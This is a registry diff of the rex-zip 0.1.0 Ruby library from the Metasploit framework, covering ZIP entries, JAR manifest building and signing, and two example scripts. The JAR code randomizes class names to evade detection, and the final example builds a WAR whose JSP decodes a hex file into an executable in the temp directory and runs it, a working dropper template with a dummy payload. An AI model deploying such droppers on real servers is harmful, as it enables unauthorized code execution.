rex-zip 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,122 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Zip
5
+
6
+ #
7
+ # An Entry represents a logical file or directory to be stored in an Archive
8
+ #
9
+ class Entry
10
+
11
+ attr_accessor :name, :flags, :info, :xtra, :comment, :attrs, :central_dir_name
12
+ attr_reader :data
13
+
14
+ def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil, central_dir_name=nil)
15
+ @name = fname.unpack("C*").pack("C*")
16
+ @central_dir_name = (central_dir_name ? central_dir_name.unpack("C*").pack("C*") : nil)
17
+ @data = data.unpack("C*").pack("C*")
18
+ @xtra = xtra
19
+ @xtra ||= ''
20
+ @comment = comment
21
+ @comment ||= ''
22
+ @attrs = attrs
23
+ @attrs ||= 0
24
+
25
+ # XXX: sanitize timestmap (assume now)
26
+ timestamp ||= Time.now
27
+ @flags = CompFlags.new(0, compmeth, timestamp)
28
+
29
+ if (@data)
30
+ compress
31
+ else
32
+ @data = ''
33
+ @info = CompInfo.new(0, 0, 0)
34
+ end
35
+ @compdata ||= ''
36
+ end
37
+
38
+ def data=(val)
39
+ @data = val.unpack("C*").pack("C*")
40
+ compress
41
+ end
42
+
43
+ #
44
+ # Compress the #data and store it for later use. If this entry's compression method
45
+ # produces a larger blob than the original data, the method is changed to CM_STORE.
46
+ #
47
+ def compress
48
+ @crc = Zlib.crc32(@data, 0)
49
+ case @flags.compmeth
50
+
51
+ when CM_STORE
52
+ @compdata = @data
53
+
54
+ when CM_DEFLATE
55
+ z = Zlib::Deflate.new(Zlib::BEST_COMPRESSION)
56
+ @compdata = z.deflate(@data, Zlib::FINISH)
57
+ z.close
58
+ @compdata = @compdata[2, @compdata.length-6]
59
+
60
+ else
61
+ raise 'Unsupported compression method: %u' % @flags.compmeth
62
+ end
63
+
64
+ # if compressing doesn't help, just store it
65
+ if (@compdata.length > @data.length)
66
+ @compdata = @data
67
+ @flags.compmeth = CM_STORE
68
+ end
69
+
70
+ @info = CompInfo.new(@crc, @compdata.length, @data.length)
71
+ end
72
+
73
+
74
+ def relative_path
75
+ get_relative_path(@name)
76
+ end
77
+
78
+ def central_dir_path
79
+ return nil if @central_dir_name.to_s.strip.empty?
80
+ get_relative_path(@central_dir_name)
81
+ end
82
+
83
+
84
+ #
85
+ # Return the compressed data in a format suitable for adding to an Archive
86
+ #
87
+ def pack
88
+ # - lfh 1
89
+ lfh = LocalFileHdr.new(self)
90
+ ret = lfh.pack
91
+
92
+ # - data 1
93
+ if (@compdata)
94
+ ret << @compdata
95
+ end
96
+
97
+ if (@gpbf & GPBF_USE_DATADESC)
98
+ # - data desc 1
99
+ dd = DataDesc.new(@info)
100
+ ret << dd.pack
101
+ end
102
+
103
+ ret
104
+ end
105
+
106
+ def inspect
107
+ "#<#{self.class} name:#{name}, data:#{@data.length} bytes>"
108
+ end
109
+
110
+ private
111
+
112
+ def get_relative_path(path)
113
+ if (path[0,1] == '/')
114
+ return path[1, path.length]
115
+ end
116
+ path
117
+ end
118
+
119
+ end
120
+
121
+ end
122
+ end
@@ -0,0 +1,283 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/zip/archive'
4
+
5
+ module Rex
6
+ module Zip
7
+
8
+ #
9
+ # A Jar is a zip archive containing Java class files and a MANIFEST.MF listing
10
+ # those classes. Several variations exist based on the same idea of class
11
+ # files inside a zip, most notably:
12
+ # - WAR files store XML files, Java classes, JSPs and other stuff for
13
+ # servlet-based webservers (e.g.: Tomcat and Glassfish)
14
+ # - APK files are Android Package files
15
+ #
16
+ class Jar < Archive
17
+ attr_accessor :manifest
18
+ # @!attribute [rw] substitutions
19
+ # The substitutions to apply when randomizing. Randomization is designed to
20
+ # be used in packages and/or classes names.
21
+ #
22
+ # @return [Hash]
23
+ attr_accessor :substitutions
24
+
25
+ def initialize
26
+ @substitutions = {}
27
+ super
28
+ end
29
+
30
+ #
31
+ # Create a MANIFEST.MF file based on the current Archive#entries.
32
+ #
33
+ # See http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html for
34
+ # some explanation of the format.
35
+ #
36
+ # Example MANIFEST.MF
37
+ # Manifest-Version: 1.0
38
+ # Main-Class: metasploit.Payload
39
+ #
40
+ # Name: metasploit.dat
41
+ # SHA1-Digest: WJ7cUVYUryLKfQFmH80/ADfKmwM=
42
+ #
43
+ # Name: metasploit/Payload.class
44
+ # SHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=
45
+ #
46
+ # The SHA1-Digest lines are optional unless the jar is signed (see #sign).
47
+ #
48
+ def build_manifest(opts={})
49
+ main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)
50
+ app_name = (opts[:app_name] ? randomize(opts[:app_name]) : nil)
51
+ existing_manifest = nil
52
+ meta_inf_exists = @entries.find_all{|item| item.name == 'META-INF/' }.length > 0
53
+
54
+ @manifest = "Manifest-Version: 1.0\r\n"
55
+ @manifest << "Main-Class: #{main_class}\r\n" if main_class
56
+ @manifest << "Application-Name: #{app_name}\r\n" if app_name
57
+ @manifest << "Permissions: all-permissions\r\n"
58
+ @manifest << "\r\n"
59
+ @entries.each { |e|
60
+ next if e.name =~ %r|/$|
61
+ if e.name == "META-INF/MANIFEST.MF"
62
+ existing_manifest = e
63
+ next
64
+ end
65
+ #next unless e.name =~ /\.class$/
66
+ @manifest << "Name: #{e.name}\r\n"
67
+ #@manifest << "SHA1-Digest: #{Digest::SHA1.base64digest(e.data)}\r\n"
68
+ @manifest << "\r\n"
69
+ }
70
+ if existing_manifest
71
+ existing_manifest.data = @manifest
72
+ else
73
+ add_file("META-INF/", '') unless meta_inf_exists
74
+ add_file("META-INF/MANIFEST.MF", @manifest)
75
+ end
76
+ end
77
+
78
+ def to_s
79
+ pack
80
+ end
81
+
82
+ #
83
+ # Length of the *compressed* blob
84
+ #
85
+ def length
86
+ pack.length
87
+ end
88
+
89
+ #
90
+ # Add multiple files from an array
91
+ #
92
+ # +files+ should be structured like so:
93
+ # [
94
+ # [ "path", "to", "file1" ],
95
+ # [ "path", "to", "file2" ]
96
+ # ]
97
+ # and +path+ should be the location on the file system to find the files to
98
+ # add. +base_dir+ will be prepended to the path inside the jar.
99
+ #
100
+ # Example:
101
+ # war = Rex::Zip::Jar.new
102
+ # war.add_file("WEB-INF/", '')
103
+ # war.add_file("WEB-INF/web.xml", web_xml)
104
+ # war.add_file("WEB-INF/classes/", '')
105
+ # files = [
106
+ # [ "servlet", "examples", "HelloWorld.class" ],
107
+ # [ "Foo.class" ],
108
+ # [ "servlet", "Bar.class" ],
109
+ # ]
110
+ # war.add_files(files, "./class_files/", "WEB-INF/classes/")
111
+ #
112
+ # The above code would create a jar with the following structure from files
113
+ # found in ./class_files/ :
114
+ #
115
+ # +- WEB-INF/
116
+ # +- web.xml
117
+ # +- classes/
118
+ # +- Foo.class
119
+ # +- servlet/
120
+ # +- Bar.class
121
+ # +- examples/
122
+ # +- HelloWorld.class
123
+ #
124
+ def add_files(files, path, base_dir="")
125
+ files.each do |file|
126
+ # Add all of the subdirectories if they don't already exist
127
+ 1.upto(file.length - 1) do |idx|
128
+ full = base_dir + file[0,idx].join("/") + "/"
129
+ if !(entries.map{|e|e.name}.include?(full))
130
+ add_file(full, '')
131
+ end
132
+ end
133
+ # Now add the actual file, grabbing data from the filesystem
134
+ fd = File.open(File.join( path, file ), "rb")
135
+ data = fd.read(fd.stat.size)
136
+ fd.close
137
+ add_file(base_dir + file.join("/"), data)
138
+ end
139
+ end
140
+
141
+ #
142
+ # Add a signature to this jar given a +key+ and a +cert+. +cert+ should be
143
+ # an instance of OpenSSL::X509::Certificate and +key+ is expected to be an
144
+ # instance of one of OpenSSL::PKey::DSA or OpenSSL::PKey::RSA.
145
+ #
146
+ # This method aims to create signature files compatible with the jarsigner
147
+ # tool destributed with the JDK and any JVM should accept the resulting
148
+ # jar.
149
+ #
150
+ # === Signature contents
151
+ # Modifies the META-INF/MANIFEST.MF entry adding SHA1-Digest attributes in
152
+ # each Name section. The signature consists of two files, a .SF and a .DSA
153
+ # (or .RSA if signing with an RSA key). The .SF file is similar to the
154
+ # manifest with Name sections but the SHA1-Digest is not optional. The
155
+ # difference is in what gets hashed for the SHA1-Digest line -- in the
156
+ # manifest, it is the file's contents, in the .SF, it is the file's section
157
+ # in the manifest (including trailing newline!). The .DSA/.RSA file is a
158
+ # PKCS7 signature of the .SF file contents.
159
+ #
160
+ # === Links
161
+ # A short description of the format:
162
+ # http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html#Signed%20JAR%20File
163
+ #
164
+ # Some info on importing a private key into a keystore which is not
165
+ # directly supported by keytool for some unfathomable reason
166
+ # http://www.agentbob.info/agentbob/79-AB.html
167
+ #
168
+ def sign(key, cert, ca_certs=nil)
169
+ m = self.entries.find { |e| e.name == "META-INF/MANIFEST.MF" }
170
+ raise RuntimeError.new("Jar has no manifest") unless m
171
+
172
+ ca_certs ||= [ cert ]
173
+
174
+ new_manifest = ''
175
+ sigdata = "Signature-Version: 1.0\r\n"
176
+ sigdata << "Created-By: 1.6.0_18 (Sun Microsystems Inc.)\r\n"
177
+ sigdata << "\r\n"
178
+
179
+ # Grab the sections of the manifest
180
+ files = m.data.split(/\r?\n\r?\n/)
181
+ if files[0] =~ /Manifest-Version/
182
+ # keep the header as is
183
+ new_manifest << files[0]
184
+ new_manifest << "\r\n\r\n"
185
+ files = files[1,files.length]
186
+ end
187
+
188
+ # The file sections should now look like this:
189
+ # "Name: metasploit/Payload.class\r\nSHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=\r\n\r\n"
190
+ files.each do |f|
191
+ next unless f =~ /Name: (.*)/
192
+ name = $1
193
+ e = self.entries.find { |e| e.name == name }
194
+ if e
195
+ digest = OpenSSL::Digest::SHA1.digest(e.data)
196
+ manifest_section = "Name: #{name}\r\n"
197
+ manifest_section << "SHA1-Digest: #{[digest].pack('m').strip}\r\n"
198
+ manifest_section << "\r\n"
199
+
200
+ manifest_digest = OpenSSL::Digest::SHA1.digest(manifest_section)
201
+
202
+ sigdata << "Name: #{name}\r\n"
203
+ sigdata << "SHA1-Digest: #{[manifest_digest].pack('m')}\r\n"
204
+ new_manifest << manifest_section
205
+ end
206
+ end
207
+
208
+ # Now overwrite with the new manifest
209
+ m.data = new_manifest
210
+
211
+ flags = 0
212
+ flags |= OpenSSL::PKCS7::BINARY
213
+ flags |= OpenSSL::PKCS7::DETACHED
214
+ # SMIME and ATTRs are technically valid in the signature but they
215
+ # both screw up the java verifier, so don't include them.
216
+ flags |= OpenSSL::PKCS7::NOSMIMECAP
217
+ flags |= OpenSSL::PKCS7::NOATTR
218
+
219
+ signature = OpenSSL::PKCS7.sign(cert, key, sigdata, ca_certs, flags)
220
+ sigalg = case key
221
+ when OpenSSL::PKey::RSA; "RSA"
222
+ when OpenSSL::PKey::DSA; "DSA"
223
+ # Don't really know what to do if it's not DSA or RSA. Can
224
+ # OpenSSL::PKCS7 actually sign stuff with it in that case?
225
+ # Regardless, the java spec says signatures can only be RSA,
226
+ # DSA, or PGP, so just assume it's PGP and hope for the best
227
+ else; "PGP"
228
+ end
229
+
230
+ # SIGNFILE is the default name in documentation. MYKEY is probably
231
+ # more common, though because that's what keytool defaults to. We
232
+ # can probably randomize this with no ill effects.
233
+ add_file("META-INF/SIGNFILE.SF", sigdata)
234
+ add_file("META-INF/SIGNFILE.#{sigalg}", signature.to_der)
235
+
236
+ return true
237
+ end
238
+
239
+ # Adds a file to the JAR, randomizing the file name
240
+ # and the contents.
241
+ #
242
+ # @see Rex::Zip::Archive#add_file
243
+ def add_file(fname, fdata=nil, xtra=nil, comment=nil)
244
+ super(randomize(fname), randomize(fdata), xtra, comment)
245
+ end
246
+
247
+ # Adds a substitution to have into account when randomizing. Substitutions
248
+ # must be added immediately after {#initialize}.
249
+ #
250
+ # @param str [String] String to substitute. It's designed to randomize
251
+ # class and/or package names.
252
+ # @param bad [String] String containing bad characters to avoid when
253
+ # applying substitutions.
254
+ # @return [String] The substitution which will be used when randomizing.
255
+ def add_sub(str, bad = '')
256
+ if @substitutions.key?(str)
257
+ return @substitutions[str]
258
+ end
259
+
260
+ @substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad)
261
+ end
262
+
263
+ # Randomizes an input by applying the `substitutions` available.
264
+ #
265
+ # @param str [String] String to randomize.
266
+ # @return [String] The input `str` with all the possible `substitutions`
267
+ # applied.
268
+ def randomize(str)
269
+ return str if str.nil?
270
+
271
+ random = str
272
+
273
+ @substitutions.each do |orig, subs|
274
+ random = str.gsub(orig, subs)
275
+ end
276
+
277
+ random
278
+ end
279
+
280
+ end
281
+
282
+ end
283
+ end
@@ -0,0 +1,32 @@
1
+ # -*- coding: binary -*-
2
+
3
+ #
4
+ # Create a zip file with comments!
5
+ #
6
+
7
+ msfbase = __FILE__
8
+ while File.symlink?(msfbase)
9
+ msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
10
+ end
11
+ inc = File.dirname(msfbase) + '/../../..'
12
+ $:.unshift(inc)
13
+
14
+ require 'rex/zip'
15
+
16
+ # example usage
17
+ zip = Rex::Zip::Archive.new
18
+ zip.add_file("elite.txt", "A" * 1024, nil, %Q<
19
+ +---------------+
20
+ | file comment! |
21
+ +---------------+
22
+ >)
23
+ zip.set_comment(%Q<
24
+
25
+ +------------------------------------------+
26
+ | |
27
+ | Hello! This is the Zip Archive comment! |
28
+ | |
29
+ +------------------------------------------+
30
+
31
+ >)
32
+ zip.save_to("lolz.zip")
@@ -0,0 +1,138 @@
1
+ # -*- coding: binary -*-
2
+
3
+ #
4
+ # Create a WAR archive!
5
+ #
6
+
7
+ msfbase = __FILE__
8
+ while File.symlink?(msfbase)
9
+ msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
10
+ end
11
+ inc = File.dirname(msfbase) + '/../../..'
12
+ $:.unshift(inc)
13
+
14
+
15
+ require 'rex/zip'
16
+
17
+
18
+ def rand_text_alpha(len)
19
+ buff = ""
20
+
21
+ foo = []
22
+ foo += ('A' .. 'Z').to_a
23
+ foo += ('a' .. 'z').to_a
24
+
25
+ # Generate a buffer from the remaining bytes
26
+ if foo.length >= 256
27
+ len.times { buff << Kernel.rand(256) }
28
+ else
29
+ len.times { buff << foo[ rand(foo.length) ] }
30
+ end
31
+
32
+ return buff
33
+ end
34
+
35
+
36
+ exe = "exe " * 1024
37
+ var_payload = "var_payload"
38
+ var_name = "var_name"
39
+
40
+
41
+ zip = Rex::Zip::Archive.new
42
+
43
+ # begin meta-inf/
44
+ minf = [ 0xcafe, 0x0003 ].pack('Vv')
45
+ zip.add_file('META-INF/', nil, minf)
46
+ # end meta-inf/
47
+
48
+ # begin meta-inf/manifest.mf
49
+ mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
50
+ zip.add_file('META-INF/MANIFEST.MF', mfraw)
51
+ # end meta-inf/manifest.mf
52
+
53
+ # begin web-inf/
54
+ zip.add_file('WEB-INF/', '')
55
+ # end web-inf/
56
+
57
+ # begin web-inf/web.xml
58
+ webxmlraw = %q{<?xml version="1.0" ?>
59
+ <web-app xmlns="http://java.sun.com/xml/ns/j2ee"
60
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
61
+ xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
62
+ http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
63
+ version="2.4">
64
+ <servlet>
65
+ <servlet-name>NAME</servlet-name>
66
+ <jsp-file>/PAYLOAD.jsp</jsp-file>
67
+ </servlet>
68
+ </web-app>
69
+ }
70
+
71
+ webxmlraw.gsub!(/NAME/, var_name)
72
+ webxmlraw.gsub!(/PAYLOAD/, var_payload)
73
+
74
+ zip.add_file('WEB-INF/web.xml', webxmlraw)
75
+ # end web-inf/web.xml
76
+
77
+ # begin <payload>.jsp
78
+ var_hexpath = rand_text_alpha(rand(8)+8)
79
+ var_exepath = rand_text_alpha(rand(8)+8)
80
+ var_data = rand_text_alpha(rand(8)+8)
81
+ var_inputstream = rand_text_alpha(rand(8)+8)
82
+ var_outputstream = rand_text_alpha(rand(8)+8)
83
+ var_numbytes = rand_text_alpha(rand(8)+8)
84
+ var_bytearray = rand_text_alpha(rand(8)+8)
85
+ var_bytes = rand_text_alpha(rand(8)+8)
86
+ var_counter = rand_text_alpha(rand(8)+8)
87
+ var_char1 = rand_text_alpha(rand(8)+8)
88
+ var_char2 = rand_text_alpha(rand(8)+8)
89
+ var_comb = rand_text_alpha(rand(8)+8)
90
+ var_exe = rand_text_alpha(rand(8)+8)
91
+ var_hexfile = rand_text_alpha(rand(8)+8)
92
+ var_proc = rand_text_alpha(rand(8)+8)
93
+
94
+ jspraw = "<%@ page import=\"java.io.*\" %>\n"
95
+ jspraw << "<%\n"
96
+ jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n"
97
+ jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
98
+ jspraw << "String #{var_data} = \"\";\n"
99
+
100
+ jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
101
+ jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
102
+ jspraw << "}\n"
103
+
104
+ jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
105
+ jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
106
+
107
+ jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
108
+ jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
109
+ jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
110
+ jspraw << "#{var_inputstream}.close();\n"
111
+
112
+ jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
113
+ jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
114
+ jspraw << "{\n"
115
+ jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
116
+ jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
117
+ jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
118
+ jspraw << "#{var_comb} <<= 4;\n"
119
+ jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
120
+ jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
121
+ jspraw << "}\n"
122
+
123
+ jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
124
+ jspraw << "#{var_outputstream}.close();\n"
125
+
126
+ jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
127
+ jspraw << "%>\n"
128
+
129
+ zip.add_file("#{var_payload}.jsp", jspraw)
130
+ # end <payload>.jsp
131
+
132
+ # begin <payload>.txt
133
+ payloadraw = exe.unpack('H*')[0]
134
+ zip.add_file("#{var_hexfile}.txt", payloadraw)
135
+ # end <payload>.txt
136
+
137
+
138
+ zip.save_to("test.war")